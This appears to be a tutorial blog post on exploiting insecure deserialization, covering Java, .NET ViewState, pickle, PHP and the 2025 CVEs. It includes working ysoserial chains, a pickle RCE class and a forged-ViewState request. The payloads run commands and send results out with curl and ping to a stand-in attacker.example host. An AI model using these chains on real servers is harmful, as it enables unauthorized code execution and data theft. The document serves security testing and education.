Insecure Deserialization: ViewState, RSC Payloads, and RCE
Deserialization bugs turned untrusted bytes into remote code execution across major platforms in 2025. We unpack the gadget-chain mechanics and the fixes.
Insecure deserialization is the shortest path from attacker-controlled bytes to remote code execution: when an app rebuilds an object graph from input you control, a published gadget chain can make it instantiate types and call methods that end in Runtime.exec or a process start. This is how to spot a deserialization sink and fire a working chain.
Where it hides
The signal is any place the application turns bytes back into rich, typed objects. Recon for the formats and their markers:
- Java native serialization — the magic bytes
AC ED 00 05, or that sequence base64-encoded asrO0AB. - .NET
BinaryFormatter,LosFormatter, or__VIEWSTATEform fields. - Python
pickleover a request body or a cookie. - PHP serialized strings (
O:4:"User":...) reachingunserialize(). - Any cookie/token that base64-decodes into a structured blob instead of a JWT.
Grep the source for the sinks directly: readObject, pickle.loads, unserialize, BinaryFormatter.Deserialize, yaml.load (unsafe). In black-box mode, decode every long opaque cookie and parameter — a rO0AB... or O:8:... value is a flashing sign:
# Fingerprint a suspect cookie/parameter before crafting a payload
echo "rO0ABXNyABFqYXZhLnV0aWwu..." | base64 -d | xxd | head
# Leading AC ED 00 05 == Java native serialization -> ysoserial target
Proof of concept
For Java, generate a chain with ysoserial against a gadget you know is on the classpath (CommonsCollections, etc.). Start with a safe, observable payload — a DNS callback — before going for code execution:
# Observable proof first: triggers a DNS lookup if deserialized
java -jar ysoserial.jar URLDNS "http://abcd.oast.fun" | base64 -w0
Submit that as the suspect cookie/body and watch your out-of-band listener. A hit proves the bytes are deserialized. Then escalate to command execution:
# Confirmed gadget on classpath -> command execution
java -jar ysoserial.jar CommonsCollections6 \
'curl http://attacker.example/$(whoami)' | base64 -w0
For Python pickle, the __reduce__ method is the payload. This is the canonical repro:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pwn && curl http://attacker.example/done",))
print(base64.b64encode(pickle.dumps(RCE())).decode())
Send the resulting string wherever the app calls pickle.loads, then confirm via the file write or the callback.
The ViewState path
ASP.NET __VIEWSTATE is integrity-protected by a machine key, so the repro hinges on knowing that key. Researchers find it through leaked web.config dumps, sample keys copied from docs, or keys committed to public repos. Once you have it, forge a signed gadget with ysoserial.net:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "ping attacker.example" \
--generator=CA0B0334 \
--validationkey=<LEAKED_KEY> --validationalg=SHA1
Then replay it:
POST /Page.aspx HTTP/1.1
Host: victim.example.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=<forged-signed-gadget>&__VIEWSTATEGENERATOR=CA0B0334
A ping/DNS callback from the server confirms the forged state was trusted and the gadget ran.
Going further
The 2025 wave (WSUS CVE-2025-59287, Sitecore's leaked-key ViewState CVE-2025-53690, React Server Components' "React2Shell" CVE-2025-55182) was mostly n-day: the fix existed, the gadget was public, and unpatched targets fell. As a researcher, that means fingerprinting the framework version is half the work — match it to a known chain and you often skip discovery entirely.
When direct command execution is filtered, the same primitive still reads files, makes outbound requests, or pivots through the object graph. Confirm reach by exfiltrating a marker file or triggering a uniquely-named DNS lookup, capture the exact bytes and the server's response, and keep all testing scoped to authorized targets.